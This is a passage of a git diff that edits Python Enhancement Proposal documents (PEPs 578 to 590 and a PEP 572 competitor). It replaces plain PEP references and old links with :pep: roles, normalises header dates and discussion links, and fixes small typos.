PEP 572 is the fact that ``NAME = EXPR`` and +One of the challenges with :pep:`572` is the fact that ``NAME = EXPR`` and ``NAME := EXPR`` are entirely semantically equivalent at every scope. This makes the two forms hard to teach, since there's no inherent nudge towards choosing one over the other at the statement level, so you end up having to resort to "``NAME = EXPR`` is preferred because it's been around longer" -(and PEP 572 proposes to enfore that historical idiosyncrasy at the compiler +(and :pep:`572` proposes to enfore that historical idiosyncrasy at the compiler level). That semantic equivalence is difficult to avoid at module and class scope while @@ -554,7 +554,7 @@ design requirement, then this PEP would be updated to propose that ``EXPR given NAME`` also be introduced as a way to support inline name declarations after arbitrary expressions (this would allow the inline name declarations to be deferred until the end of a complex expression rather than needing to be -embedded in the middle of it, and PEP 8 would gain a recommendation encouraging +embedded in the middle of it, and :pep:`8` would gain a recommendation encouraging that style). @@ -586,7 +586,7 @@ operation:: x >= y # Greater-than-or-equal-to x <= y # Less-than-or-equal-to -Both this PEP and PEP 572 propose adding at least one operator that's somewhat +Both this PEP and :pep:`572` propose adding at least one operator that's somewhat similar in appearance, but defines an assignment instead:: x := y # Becomes @@ -687,7 +687,7 @@ be written using nested if-else statements:: else: ... -As with PEP 572, this PEP allows the else/if portions of that chain to be +As with :pep:`572`, this PEP allows the else/if portions of that chain to be condensed, making their consistent and mutually exclusive structure more readily apparent:: @@ -701,7 +701,7 @@ readily apparent:: else: ... -Unlike PEP 572, this PEP requires that the assignment target be explicitly +Unlike :pep:`572`, this PEP requires that the assignment target be explicitly indicated as local before the first use as a ``:=`` target, either by binding it to a value (as shown above), or else by including an appropriate explicit type declaration:: @@ -761,27 +761,27 @@ practice. Relationship with PEP 572 ========================= -The case for allowing inline assignments at all is made in PEP 572. This +The case for allowing inline assignments at all is made in :pep:`572`. This competing PEP was initially going to propose an alternate surface syntax (``EXPR given NAME = EXPR``), while retaining the expression semantics from -PEP 572, but that changed when discussing one of the initial motivating use +:pep:`572`, but that changed when discussing one of the initial motivating use cases for allowing embedded assignments at all: making it possible to easily calculate cumulative sums in comprehensions and generator expressions. -As a result of that, and unlike PEP 572, this PEP focuses primarily on use +As a result of that, and unlike :pep:`572`, this PEP focuses primarily on use cases for inline augmented assignment. It also has the effect of converting cases that currently inevitably raise ``UnboundLocalError`` at function call time to report a new compile time ``TargetNameError``. New syntax for a name rebinding expression (``NAME := TARGET``) is then added -not only to handle the same use cases as are identified in PEP 572, but also +not only to handle the same use cases as are identified in :pep:`572`, but also as a lower level primitive to help illustrate, implement and explain the new augmented assignment semantics, rather than being the sole change being proposed. The author of this PEP believes that this approach makes the value of the new flexibility in name rebinding clearer, while also mitigating many of the -potential concerns raised with PEP 572 around explaining when to use +potential concerns raised with :pep:`572` around explaining when to use ``NAME = EXPR`` over ``NAME := EXPR`` (and vice-versa), without resorting to prohibiting the bare statement form of ``NAME := EXPR`` outright (such that ``NAME := EXPR`` is a compile error, but ``(NAME := EXPR)`` is permitted). @@ -790,7 +790,7 @@ that ``NAME := EXPR`` is a compile error, but ``(NAME := EXPR)`` is permitted). Acknowledgements ================ -The PEP author wishes to thank Chris Angelico for his work on PEP 572, and his +The PEP author wishes to thank Chris Angelico for his work on :pep:`572`, and his efforts to create a coherent summary of the great many sprawling discussions that spawned on both python-ideas and python-dev, as well as Tim Peters for the in-depth discussion of parent local scoping that prompted the above diff --git a/pep-0578.rst b/pep-0578.rst index c1c63f5e0cf..9e5d25ec69b 100644 --- a/pep-0578.rst +++ b/pep-0578.rst @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 16-Jun-2018 Python-Version: 3.8 -Post-History: 28-March-2019, 07-May-2019 +Post-History: 28-Mar-2019, 07-May-2019 Abstract ======== @@ -29,7 +29,7 @@ are unspecified here to allow implementations the freedom to determine how best to provide information to their users. Some examples likely to be used in CPython are provided for explanatory purposes. -See PEP 551 for discussion and recommendations on enhancing the +See :pep:`551` for discussion and recommendations on enhancing the security of a Python runtime making use of these auditing APIs. Background @@ -545,13 +545,13 @@ Relationship to PEP 551 ======================= This API was originally presented as part of -`PEP 551 `_ Security +:pep:`551` Security Transparency in the Python Runtime. For simpler review purposes, and due to the broader applicability of these APIs beyond security, the API design is now presented separately. -PEP 551 is an informational PEP discussing how to integrate Python into +:pep:`551` is an informational PEP discussing how to integrate Python into a secure or audited environment. References diff --git a/pep-0579.rst b/pep-0579.rst index 800695714a8..6edaac6e299 100644 --- a/pep-0579.rst +++ b/pep-0579.rst @@ -12,10 +12,10 @@ Post-History: 20-Jun-2018 Approval Notice =============== -This PEP describes design issues addressed in PEP 575, PEP 580, PEP 590 +This PEP describes design issues addressed in :pep:`575`, :pep:`580`, :pep:`590` (and possibly later proposals). -As noted in `PEP 1 `_: +As noted in :pep:`PEP 1 <1#pep-types>`: Informational PEPs do not necessarily represent a Python community consensus or recommendation, so users and implementers are free to @@ -119,7 +119,7 @@ be the *only* remaining purpose of the ``PyMethodDef`` structure. Additionally, we can also make some function classes subclassable. However, this seems less important once we have ``tp_ccalloffset``. -**Reference**: PEP 580 +**Reference**: :pep:`580` 3. cfunctions do not become methods @@ -158,7 +158,7 @@ should be part of the new C call protocol. For backwards compatibility, we would keep the existing non-binding behavior of cfunctions. We would just allow it in custom classes. -**Reference**: PEP 580 +**Reference**: :pep:`580` 4. Semantics of inspect.isfunction @@ -195,7 +195,7 @@ C call protocol for Python functions (``types.FunctionType``): the C function which implements calling Python functions needs access to the ``__code__`` attribute of the function. -This is also needed for PEP 573 +This is also needed for :pep:`573` where all cfunctions require access to their "parent" (the module for functions of a module or the defining class for methods). @@ -204,7 +204,7 @@ for methods). that the C function takes an additional argument (as first argument), namely the function object. -**References**: PEP 580, PEP 573 +**References**: :pep:`580`, :pep:`573` 6. METH_FASTCALL is private and undocumented @@ -226,7 +226,7 @@ As part of the C call protocol, we should also add a C API function :: PyObject *PyCCall_FastCall(PyObject *func, PyObject *const *args, Py_ssize_t nargs, PyObject *keywords) -**Reference**: PEP 580 +**Reference**: :pep:`580` 7. Allowing native C arguments @@ -303,7 +303,7 @@ instead of doing type checks. Furthermore, it should be investigated whether some of these classes can be merged and whether ``method`` can be re-used also for bound methods of extension types -(see PEP 576 for the latter, +(see :pep:`576` for the latter, keeping in mind that this may have some minor backwards compatibility issues). This is not a goal by itself but just something to keep in mind when working on these classes. @@ -316,7 +316,7 @@ The typical way to create a cfunction or cmethod in an extension module is by using a ``PyMethodDef`` to define it. These are then stored in an array ``PyModuleDef.m_methods`` (for cfunctions) or ``PyTypeObject.tp_methods`` (for cmethods). -However, because of the stable ABI (PEP 384), +However, because of the stable ABI (:pep:`384`), we cannot change the ``PyMethodDef`` structure. So, this means that we cannot add new fields for creating cfunctions/cmethods diff --git a/pep-0580.rst b/pep-0580.rst index 9b95abe2241..d2822a43bde 100644 --- a/pep-0580.rst +++ b/pep-0580.rst @@ -13,7 +13,7 @@ Post-History: 20-Jun-2018, 22-Jun-2018, 16-Jul-2018 Rejection Notice ================ -This PEP is rejected in favor of PEP 590, which proposes a simpler public +This PEP is rejected in favor of :pep:`590`, which proposes a simpler public C API for callable objects. @@ -63,7 +63,7 @@ enabling even further simplifications. We also design the C call protocol such that it can easily be extended with new features in the future. -For more background and motivation, see PEP 579. +For more background and motivation, see :pep:`579`. Overview @@ -176,7 +176,7 @@ For methods of extension types, ``cc_parent`` points to the class that defines the method (which may be a superclass of ``type(self)``). This is currently non-trivial to retrieve from a method's code. In the future, this can be used to access the module state via -the defining class. See the rationale of PEP 573 for details. +the defining class. See the rationale of :pep:`573` for details. When the flag ``CCALL_OBJCLASS`` is set (as it will be for methods of extension types), ``cc_parent`` is used for type checks like the following:: @@ -212,7 +212,7 @@ becomes ``tp_ccalloffset`` unconditionally, drop the ``Py_TPFLAGS_HAVE_CCALL`` flag and instead check for ``tp_ccalloffset != 0``. -**NOTE**: the exact layout of ``PyTypeObject`` is not part of the stable ABI ([#pep384]_). +**NOTE**: the exact layout of ``PyTypeObject`` is not part of the :pep:`stable ABI <384>`). Therefore, changing the ``tp_print`` field from a ``printfunc`` (a function pointer) to a ``Py_ssize_t`` should not be a problem, even if this changes the memory layout of the ``PyTypeObject`` structure. @@ -479,7 +479,7 @@ compatibility problems. C API functions --------------- -The following function is added (also to the stable ABI [#pep384]_): +The following function is added (also to the :pep:`stable ABI <384>`): - ``PyObject * PyCFunction_ClsNew(PyTypeObject *cls, PyMethodDef *ml, PyObject *self, PyObject *module, PyObject *parent)``: create a new object with object structure ``PyCFunctionObject`` and class ``cls``. @@ -497,7 +497,7 @@ and ``PyCFunction_GET_FLAGS`` are deprecated. They are still artificially supported by storing the original ``METH_...`` flags in a bitfield inside ``cc_flags``. Despite the fact that ``PyCFunction_GetFlags`` is technically -part of the stable ABI [#pep384]_, +part of the :pep:`stable ABI <384>`, it is highly unlikely to be used that way: first of all, it is not even documented. Second, the flag ``METH_FASTCALL`` @@ -544,7 +544,7 @@ performance improvements are discussed: Stable ABI ========== -The function ``PyCFunction_ClsNew`` is added to the stable ABI [#pep384]_. +The function ``PyCFunction_ClsNew`` is added to the :pep:`stable ABI <384>`. None of the functions, structures or constants dealing with the C call protocol are added to the stable ABI. @@ -552,7 +552,7 @@ are added to the stable ABI. There are two reasons for this: first of all, the most useful feature of the C call protocol is probably the ``METH_FASTCALL`` calling convention. -Given that this is not even part of the public API (see also PEP 579, issue 6), +Given that this is not even part of the public API (see also :pep:`579`, issue 6), it would be strange to add anything else from the C call protocol to the stable ABI. @@ -579,7 +579,7 @@ Rationale Why is this better than PEP 575? -------------------------------- -One of the major complaints of PEP 575 was that is was coupling +One of the major complaints of :pep:`575` was that is was coupling functionality (the calling and introspection protocol) with the class hierarchy: a class could only benefit from the new features @@ -587,7 +587,7 @@ if it was a subclass of ``base_function``. It may be difficult for existing classes to do that because they may have other constraints on the layout of the C object structure, coming from an existing base class or implementation details. -For example, ``functools.lru_cache`` cannot implement PEP 575 as-is. +For example, ``functools.lru_cache`` cannot implement :pep:`575` as-is. It also complicated the implementation precisely because changes were needed both in the implementation details and in the class hierarchy. @@ -687,7 +687,7 @@ Why CCALL_DEFARG? The flag ``CCALL_DEFARG`` gives the callee access to the ``PyCCallDef *``. There are various use cases for this: -1. The callee can use the ``cc_parent`` field, which is useful for PEP 573. +1. The callee can use the ``cc_parent`` field, which is useful for :pep:`573`. 2. Applications are free to extend the ``PyCCallDef`` structure with user-defined fields, which can then be accessed analogously. @@ -720,9 +720,9 @@ In particular, the Cython project has shown interest in doing that Alternative suggestions ======================= -PEP 576 is an alternative approach to solving the same problem as this PEP. +:pep:`576` is an alternative approach to solving the same problem as this PEP. See https://mail.python.org/pipermail/python-dev/2018-July/154238.html -for comments on the difference between PEP 576 and PEP 580. +for comments on the difference between :pep:`576` and :pep:`580`. Discussion @@ -757,16 +757,13 @@ The reference implementation can be found at https://github.com/jdemeyer/cpython/tree/pep580 For an example of using the C call protocol, -the following branch implements ``functools.lru_cache`` using PEP 580: +the following branch implements ``functools.lru_cache`` using :pep:`580`: https://github.com/jdemeyer/cpython/tree/lru580 References ========== -.. [#pep384] Löwis, PEP 384 – Defining a Stable ABI, - https://www.python.org/dev/peps/pep-0384/ - .. [#bpo29259] Add tp_fastcall to PyTypeObject: support FASTCALL calling convention for all callable objects, https://bugs.python.org/issue29259 diff --git a/pep-0581.rst b/pep-0581.rst index 71f65eb5425..6ef0843de92 100644 --- a/pep-0581.rst +++ b/pep-0581.rst @@ -4,12 +4,12 @@ Version: $Revision$ Last-Modified: $Date$ Author: Mariatta BDFL-Delegate: Barry Warsaw -Discussions-To: Core-Workflow Category on Discourse +Discussions-To: https://discuss.python.org/t/535 Status: Accepted Type: Process Content-Type: text/x-rst Created: 20-Jun-2018 -Post-History: 7-Mar-2019 +Post-History: 07-Mar-2019 Resolution: https://mail.python.org/pipermail/python-dev/2019-May/157399.html @@ -17,7 +17,7 @@ Abstract ======== This PEP outlines the rationale for migration from Python's issue -tracker on Roundup to GitHub issues. See PEP 588 for the detailed +tracker on Roundup to GitHub issues. See :pep:`588` for the detailed migration plan. @@ -111,10 +111,10 @@ Issues with Roundup / bpo - Note: Exposing email address to registered and logged in users was a decision taken when bpo instance was setup. This behavior has been recently modified - after PEP 581's acceptance. + after :pep:`581`'s acceptance. - REST API is not currently available in bpo. There was an open issue in Roundup - for adding REST API [#]_. At the time PEP 581 was proposed, the ticket received + for adding REST API [#]_. At the time :pep:`581` was proposed, the ticket received no activity since 2016. REST API has been integrated in Roundup in February 2019, however it is not yet integrated to bpo. @@ -188,7 +188,7 @@ GitHub is not the perfect issue tracker. Several issues we need to be aware of: - Using GitHub could possibly increase the triaging effort. This was first raised as a Zulip topic [#]_, and also brought up during Core Python sprint in September 2018 [#]_. A few solutions have been proposed and considered, such as - creating a special triage team [#]_. After PEP 581's acceptance, GitHub released a + creating a special triage team [#]_. After :pep:`581`'s acceptance, GitHub released a new triaging role, currently in beta. The PSF has been in touch with GitHub to have this enabled for Python organization. This is pending GitHub's review [#]_. @@ -208,7 +208,7 @@ GitHub is not the perfect issue tracker. Several issues we need to be aware of: - bpo uses a number of fields to specify several metadata, and these might not be easily transferable to GitHub. The intended way to handle custom metadata on GitHub is by using labels. The details of which labels to create will be - further discussed in PEP 588. + further discussed in :pep:`588`. Further questions and discussions diff --git a/pep-0582.rst b/pep-0582.rst index 4a1797e0519..978346f3f08 100644 --- a/pep-0582.rst +++ b/pep-0582.rst @@ -4,8 +4,10 @@ Version: $Revision$ Last-Modified: $Date$ Author: Kushal Das , Steve Dower , Donald Stufft , Nick Coghlan +Discussions-To: https://discuss.python.org/t/pep-582-python-local-packages-directory/963/ Status: Draft Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 16-May-2018 Python-Version: 3.8 diff --git a/pep-0584.rst b/pep-0584.rst index bd15bae5898..d0a002a7798 100644 --- a/pep-0584.rst +++ b/pep-0584.rst @@ -987,7 +987,7 @@ The above examples show that sometimes the ``|`` operator leads to a clear increase in readability, reducing the number of lines of code and improving clarity. However other examples using the ``|`` operator lead to long, complex single expressions, possibly well over -the PEP 8 maximum line length of 80 columns. As with any other +the :pep:`8` maximum line length of 80 columns. As with any other language feature, the programmer should use their own judgement about whether ``|`` improves their code. diff --git a/pep-0585.rst b/pep-0585.rst index 2b1b08158e6..bb8f23d94be 100644 --- a/pep-0585.rst +++ b/pep-0585.rst @@ -3,7 +3,7 @@ Title: Type Hinting Generics In Standard Collections Version: $Revision$ Last-Modified: $Date$ Author: Łukasz Langa -Discussions-To: Typing-Sig +Discussions-To: typing-sig@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -68,7 +68,7 @@ collections directly. Example:: def find(haystack: dict[str, list[int]]) -> int: ... -Usefulness of this syntax before PEP 585 is limited as external tooling +Usefulness of this syntax before :pep:`585` is limited as external tooling like Mypy does not recognize standard collections as generic. Moreover, certain features of typing like type aliases or casting require putting types outside of annotations, in runtime context. While these are @@ -116,7 +116,7 @@ Python 3.9, the following collections become generic using * ``re.Pattern`` # typing.Pattern, typing.re.Pattern * ``re.Match`` # typing.Match, typing.re.Match -Importing those from ``typing`` is deprecated. Due to PEP 563 and the +Importing those from ``typing`` is deprecated. Due to :pep:`563` and the intention to minimize the runtime impact of typing, this deprecation will not generate DeprecationWarnings. Instead, type checkers may warn about such deprecated usage when the target version of the checked diff --git a/pep-0586.rst b/pep-0586.rst index 564b1c18424..95729fb20e4 100644 --- a/pep-0586.rst +++ b/pep-0586.rst @@ -2,7 +2,7 @@ PEP: 586 Title: Literal Types Author: Michael Lee , Ivan Levkivskyi , Jukka Lehtosalo BDFL-Delegate: Guido van Rossum -Discussions-To: Typing-Sig +Discussions-To: typing-sig@python.org Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -15,7 +15,7 @@ Resolution: https://mail.python.org/archives/list/typing-sig@python.org/message/ Abstract ======== -This PEP proposes adding *Literal types* to the PEP 484 ecosystem. +This PEP proposes adding *Literal types* to the :pep:`484` ecosystem. Literal types indicate that some expression has literally a specific value. For example, the following function will accept only expressions that have literally the value "4":: @@ -55,7 +55,7 @@ The typing issue tracker contains some `additional examples and discussion `_. There is currently no way of expressing the type signatures of these -functions: PEP 484 does not include any mechanism for writing signatures +functions: :pep:`484` does not include any mechanism for writing signatures where the return type varies depending on the value passed in. Note that this problem persists even if we redesign these APIs to instead accept enums: ``MyEnum.FOO`` and ``MyEnum.BAR`` are both @@ -94,7 +94,7 @@ it’s safe to do things like ``foo + 5`` since ``foo`` inherits int’s ``__add__`` method. The resulting type of ``foo + 5`` is ``int``. This "inheriting" behavior is identical to how we -`handle NewTypes. `_. +:pep:`handle NewTypes <484#newtype-helper-function>`. Equivalence of two Literals --------------------------- @@ -223,7 +223,7 @@ The following parameters are intentionally disallowed by design: ``Literal["foo".replace("o", "b")]``. - Rationale: Literal types are meant to be a - minimal extension to the PEP 484 typing ecosystem and requiring type + minimal extension to the :pep:`484` typing ecosystem and requiring type checkers to interpret potentially expressions inside types adds too much complexity. Also see `Rejected or out-of-scope ideas`_. @@ -527,7 +527,8 @@ values of the ``Status`` enum have already been exhausted:: print("Got custom status: " + s) The interaction described above is not new: it's already -`already codified within PEP 484 `_. However, many type +:pep:`codified within PEP 484 <484#support-for-singleton-types-in-unions>`. +However, many type checkers (such as mypy) do not yet implement this due to the expected complexity of the implementation work. @@ -585,7 +586,7 @@ involving Literal bools. For example, we can combine ``Literal[True]``, Interactions with Final ----------------------- -`PEP 591 `_ proposes adding a "Final" qualifier to the typing +:pep:`591` proposes adding a "Final" qualifier to the typing ecosystem. This qualifier can be used to declare that some variable or attribute cannot be reassigned:: @@ -603,7 +604,7 @@ is valid to use in any context that expects a ``Literal[3]``:: The ``Final`` qualifier serves as a shorthand for declaring that a variable is *effectively Literal*. -If both this PEP and PEP 591 are accepted, type checkers are expected to +If both this PEP and :pep:`591` are accepted, type checkers are expected to support this shortcut. Specifically, given a variable or attribute assignment of the form ``var: Final = value`` where ``value`` is a valid parameter for ``Literal[...]``, type checkers should understand that ``var`` may be used in @@ -629,7 +630,7 @@ True dependent types/integer generics ------------------------------------- This proposal is essentially describing adding a very simplified -dependent type system to the PEP 484 ecosystem. One obvious extension +dependent type system to the :pep:`484` ecosystem. One obvious extension would be to implement a full-fledged dependent type system that lets users predicate types based on their values in arbitrary ways. That would let us write signatures like the below:: @@ -734,11 +735,6 @@ something similar to how .. _typescript-index-types: https://www.typescriptlang.org/docs/handbook/advanced-types.html#index-types -.. _newtypes: https://www.python.org/dev/peps/pep-0484/#newtype-helper-function - -.. _pep-484-enums: https://www.python.org/dev/peps/pep-0484/#support-for-singleton-types-in-unions - -.. _pep-591: https://www.python.org/dev/peps/pep-0591/ Acknowledgements ================ diff --git a/pep-0587.rst b/pep-0587.rst index e7ae9460cf3..134d1248dfb 100644 --- a/pep-0587.rst +++ b/pep-0587.rst @@ -32,7 +32,7 @@ easier using the new ``Py_RunMain()`` function. Moreover, using the same way the regular Python parses command line arguments, and ``PyConfig.xoptions`` are handled as ``-X opt`` command line options. -This extracts a subset of the API design from the PEP 432 development +This extracts a subset of the API design from the :pep:`432` development and refactoring work that is now considered sufficiently stable to make public (allowing 3rd party embedding applications access to the same configuration APIs that the native CPython CLI is now using). @@ -71,7 +71,7 @@ Moreover, ``Py_Main()`` could exit directly the process rather than returning an exit code. Proposed new API reports the error or exit code to the caller which can decide how to handle it. -Implementing the PEP 540 (UTF-8 Mode) and the new ``-X dev`` correctly +Implementing the :pep:`540` (UTF-8 Mode) and the new ``-X dev`` correctly was almost impossible in Python 3.6. The code base has been deeply reworked in Python 3.7 and then in Python 3.8 to read the configuration into a structure with no side effect. It becomes possible to clear the @@ -88,9 +88,9 @@ behavior way more easily, especially for corner cases like that, and ensure that the configuration remains consistent: see `Priority and Rules`_. -This PEP is a partial implementation of PEP 432 which is the overall +This PEP is a partial implementation of :pep:`432` which is the overall design. New fields can be added later to ``PyConfig`` structure to -finish the implementation of the PEP 432 (e.g. by adding a new partial +finish the implementation of the :pep:`432` (e.g. by adding a new partial initialization API which allows to configure Python using Python objects to finish the full initialization). However, those features are omitted from this PEP as even the native CPython CLI doesn't work that way - the public API @@ -447,7 +447,7 @@ exceptions (error or exit) using ``PyStatus_Exception()`` and ``bytearray`` with ``str``, or comparing ``bytes`` with ``int``. If equal or greater to 2, raise a ``BytesWarning`` exception. * ``check_hash_pycs_mode`` (``wchar_t*``): - ``--check-hash-based-pycs`` command line option value (see PEP 552). + ``--check-hash-based-pycs`` command line option value (see :pep:`552`). Valid values: ``always``, ``never`` and ``default``. The default value is ``default``. * ``configure_c_stdio`` (``int``): @@ -585,7 +585,7 @@ Options`_. Install importlib? * ``_init_main`` (``int``): If equal to 0, stop Python initialization before the "main" phase - (see PEP 432). + (see :pep:`432`). More complete example modifying the default configuration, read the configuration, and then override some parameters:: @@ -669,7 +669,7 @@ behaves as the regular Python. Environments variables and command line arguments are used to configure Python, whereas global configuration variables are ignored. -This function enables C locale coercion (PEP 538) and UTF-8 Mode (PEP +This function enables C locale coercion (:pep:`538`) and UTF-8 Mode (PEP 540) depending on the LC_CTYPE locale, ``PYTHONUTF8`` and ``PYTHONCOERCECLOCALE`` environment variables. @@ -710,7 +710,7 @@ Example of customized Python always running in isolated mode:: } This example is a basic implementation of the "System Python Executable" -discussed in PEP 432. +discussed in :pep:`432`. Path Configuration @@ -801,7 +801,7 @@ Multi-Phase Initialization Private Provisional API -------------------------------------------------- This section is a private provisional API introducing multi-phase -initialization, the core feature of the PEP 432: +initialization, the core feature of the :pep:`432`: * "Core" initialization phase, "bare minimum Python": @@ -890,7 +890,7 @@ This PEP only adds a new API: it leaves the existing API unchanged and has no impact on the backwards compatibility. The Python 3.7 ``Py_Initialize()`` function now disable the C locale -coercion (PEP 538) and the UTF-8 Mode (PEP 540) by default to prevent +coercion (:pep:`538`) and the UTF-8 Mode (:pep:`540`) by default to prevent mojibake. The new API using the `Python Configuration`_ is needed to enable them automatically. @@ -1332,7 +1332,7 @@ Issues that will be fixed by this PEP, directly or indirectly: callback system for Py_FatalError" * `bpo-11320 `_: "Usage of API method Py_SetPath causes errors in Py_Initialize() - (Posix ony)" + (Posix only)" * `bpo-13533 `_: "Would like Py_Initialize to play friendly with host app" * `bpo-14956 `_: "custom PYTHONPATH @@ -1528,7 +1528,7 @@ Version History Acceptance ========== -PEP 587 was `accepted by Thomas Wouters on May 26, 2019 +:pep:`587` was `accepted by Thomas Wouters on May 26, 2019 `_. diff --git a/pep-0588.rst b/pep-0588.rst index fac37f52c1e..20e93b23ce5 100644 --- a/pep-0588.rst +++ b/pep-0588.rst @@ -2,7 +2,7 @@ PEP: 588 Title: GitHub Issues Migration Plan Author: Mariatta BDFL-Delegate: Barry Warsaw -Discussions-To: Core-Workflow Category on Discourse +Discussions-To: https://discuss.python.org/t/13791 Status: Draft Type: Informational Content-Type: text/x-rst @@ -13,8 +13,8 @@ Abstract ======== This PEP describes the detailed plan for migrating from Python's issue -tracker on Roundup to GitHub issues. See PEP 581 for rationale and -background. PEP 588 also describes the detailed timeline for the +tracker on Roundup to GitHub issues. See :pep:`581` for rationale and +background. :pep:`588` also describes the detailed timeline for the migration. @@ -45,7 +45,7 @@ core-workflow [#]_. We're using GitHub's Migrations API [#]_ to download GitHub data for CPython on a daily basis. The archives will be dropped in a S3 bucket. -Thanks to Ee W. Durbin III for working on this. +Thanks to Ee Durbin for working on this. Update the CLA host diff --git a/pep-0589.rst b/pep-0589.rst index dd7550e31b8..1709ac6a070 100644 --- a/pep-0589.rst +++ b/pep-0589.rst @@ -16,7 +16,7 @@ Resolution: https://mail.python.org/archives/list/typing-sig@python.org/message/ Abstract ======== -PEP 484 [#PEP-484]_ defines the type ``Dict[K, V]`` for uniform +:pep:`484` defines the type ``Dict[K, V]`` for uniform dictionaries, where each value has the same type, and arbitrary key values are supported. It doesn't properly support the common pattern where the type of a dictionary value depends on the string value of @@ -24,7 +24,7 @@ the key. This PEP proposes a type constructor ``typing.TypedDict`` to support the use case where a dictionary object has a specific set of string keys, each with a value of a specific type. -Here is an example where PEP 484 doesn't allow us to annotate +Here is an example where :pep:`484` doesn't allow us to annotate satisfactorily:: movie = {'name': 'Blade Runner', @@ -63,10 +63,10 @@ when not using JSON. They trivially support various useful operations with no extra effort, including pretty-printing (through ``str()`` and the ``pprint`` module), iteration, and equality comparisons. -PEP 484 doesn't properly support the use cases mentioned above. Let's +:pep:`484` doesn't properly support the use cases mentioned above. Let's consider a dictionary object that has exactly two valid string keys, ``'name'`` with value type ``str``, and ``'year'`` with value type -``int``. The PEP 484 type ``Dict[str, Any]`` would be suitable, but +``int``. The :pep:`484` type ``Dict[str, Any]`` would be suitable, but it is too lenient, as arbitrary string keys can be used, and arbitrary values are valid. Similarly, ``Dict[str, Union[str, int]]`` is too general, as the value for key ``'name'`` could be an ``int``, and @@ -95,7 +95,7 @@ This PEP proposes two ways of defining TypedDict types. The first uses a class-based syntax. The second is an alternative assignment-based syntax that is provided for backwards compatibility, to allow the feature to be backported to older Python versions. The -rationale is similar to why PEP 484 supports a comment-based +rationale is similar to why :pep:`484` supports a comment-based annotation syntax for Python 2.7: type hinting is particularly useful for large existing codebases, and these often need to run on older Python versions. The two syntax options parallel the syntax variants @@ -105,7 +105,7 @@ required or not). This PEP also provides a sketch of how a type checker is expected to support type checking operations involving TypedDict objects. -Similar to PEP 484, this discussion is left somewhat vague on purpose, +Similar to :pep:`484`, this discussion is left somewhat vague on purpose, to allow experimentation with a wide variety of different type checking approaches. In particular, type compatibility should be based on structural compatibility: a more specific TypedDict type can @@ -224,7 +224,7 @@ are the only uses of the type a type checker is expected to allow: In particular, TypedDict type objects cannot be used in ``isinstance()`` tests such as ``isinstance(d, Movie)``. The reason is that there is no existing support for checking types of dictionary -item values, since ``isinstance()`` does not work with many PEP 484 +item values, since ``isinstance()`` does not work with many :pep:`484` types, including common ones like ``List[str]``. This would be needed for cases like this:: @@ -336,7 +336,7 @@ Alternative Syntax This PEP also proposes an alternative syntax that can be backported to older Python versions such as 3.5 and 2.7 that don't support the -variable definition syntax introduced in PEP 526 [#PEP-526]_. It +variable definition syntax introduced in :pep:`526`. It resembles the traditional syntax for defining named tuples:: Movie = TypedDict('Movie', {'name': str, 'year': int}) @@ -364,7 +364,7 @@ Type Consistency Informally speaking, *type consistency* is a generalization of the is-subtype-of relation to support the ``Any`` type. It is defined -more formally in PEP 483 [#PEP-483]_. This section introduces the +more formally in :pep:`483`. This section introduces the new, non-trivial rules needed to support type consistency for TypedDict types. @@ -436,7 +436,7 @@ Discussion: y: str def f(a: A) -> None: - a[y] = 1 + a['y'] = 1 def g(b: B) -> None: f(b) # Type check error: 'B' incompatible with 'A' @@ -566,7 +566,7 @@ alternative is to generate false positive errors for idiomatic code. Use of Final Values and Literal Types ------------------------------------- -Type checkers should allow final names (PEP 591 [#PEP-591]_) with +Type checkers should allow final names (:pep:`591`) with string values to be used instead of string literals in operations on TypedDict objects. For example, this is valid:: @@ -576,7 +576,7 @@ TypedDict objects. For example, this is valid:: years_since_epoch = m[YEAR] - 1970 Similarly, an expression with a suitable literal type -(PEP 586 [#PEP-586]_) can be used instead of a literal value:: +(:pep:`586`) can be used instead of a literal value:: def get_value(movie: Movie, key: Literal['year', 'name']) -> Union[int, str]: @@ -658,7 +658,7 @@ extensions to be added in the future: * TypedDict can't be used for specifying the type of a ``**kwargs`` argument. This would allow restricting the allowed keyword - arguments and their types. According to PEP 484, using a TypedDict + arguments and their types. According to :pep:`484`, using a TypedDict type as the type of ``**kwargs`` means that the TypedDict is valid as the *value* of arbitrary keyword arguments, but it doesn't restrict which keyword arguments should be allowed. The syntax @@ -677,25 +677,9 @@ Michael Lee, Dominik Miedzinski, Roy Williams and Max Moroz. References ========== -.. [#PEP-484] PEP 484, Type Hints, van Rossum, Lehtosalo, Langa - (http://www.python.org/dev/peps/pep-0484) - .. [#dataclasses-json] Dataclasses JSON (https://github.com/lidatong/dataclasses-json) -.. [#PEP-526] PEP 526, Syntax for Variable Annotations, Gonzalez, - House, Levkivskyi, Roach, van Rossum - (http://www.python.org/dev/peps/pep-0484) - -.. [#PEP-483] PEP 483, The Theory of Type Hints, van Rossum, Levkivskyi - (http://www.python.org/dev/peps/pep-0483) - -.. [#PEP-591] PEP 591, Adding a final qualifier to typing, Sullivan, - Levkivskyi (http://www.python.org/dev/peps/pep-0591) - -.. [#PEP-586] PEP 586, Literal Types, Lee, Levkivskyi, Lehtosalo - (http://www.python.org/dev/peps/pep-0586) - .. [#mypy] http://www.mypy-lang.org/ .. [#typing_extensions] diff --git a/pep-0590.rst b/pep-0590.rst index fabd4df7b71..a3fa010fa06 100644 --- a/pep-0590.rst +++ b/pep-0590.rst @@ -250,7 +250,7 @@ Performance of functions using ``METH_VARARGS`` will become slightly worse. Stable ABI ========== -Nothing from this PEP is added to the stable ABI (PEP 384). +Nothing from this PEP is added to the stable ABI (:pep:`384`). Alternative Suggestions @@ -259,7 +259,7 @@ Alternative Suggestions bpo-29259 --------- -PEP 590 is close to what was proposed in bpo-29259 [#bpo29259]_. +:pep:`590` is close to what was proposed in bpo-29259 [#bpo29259]_. The main difference is that this PEP stores the function pointer in the instance rather than in the class. This makes more sense for implementing functions in C, @@ -269,15 +269,15 @@ It also allows optimizing ``type.__call__``, which is not possible with bpo-2925 PEP 576 and PEP 580 ------------------- -Both PEP 576 and PEP 580 are designed to enable 3rd party objects to be both expressive and performant (on a par with +Both :pep:`576` and :pep:`580` are designed to enable 3rd party objects to be both expressive and performant (on a par with CPython objects). The purpose of this PEP is provide a uniform way to call objects in the CPython ecosystem that is both expressive and as performant as possible. -This PEP is broader in scope than PEP 576 and uses variable rather than fixed offset function-pointers. -The underlying calling convention is similar. Because PEP 576 only allows a fixed 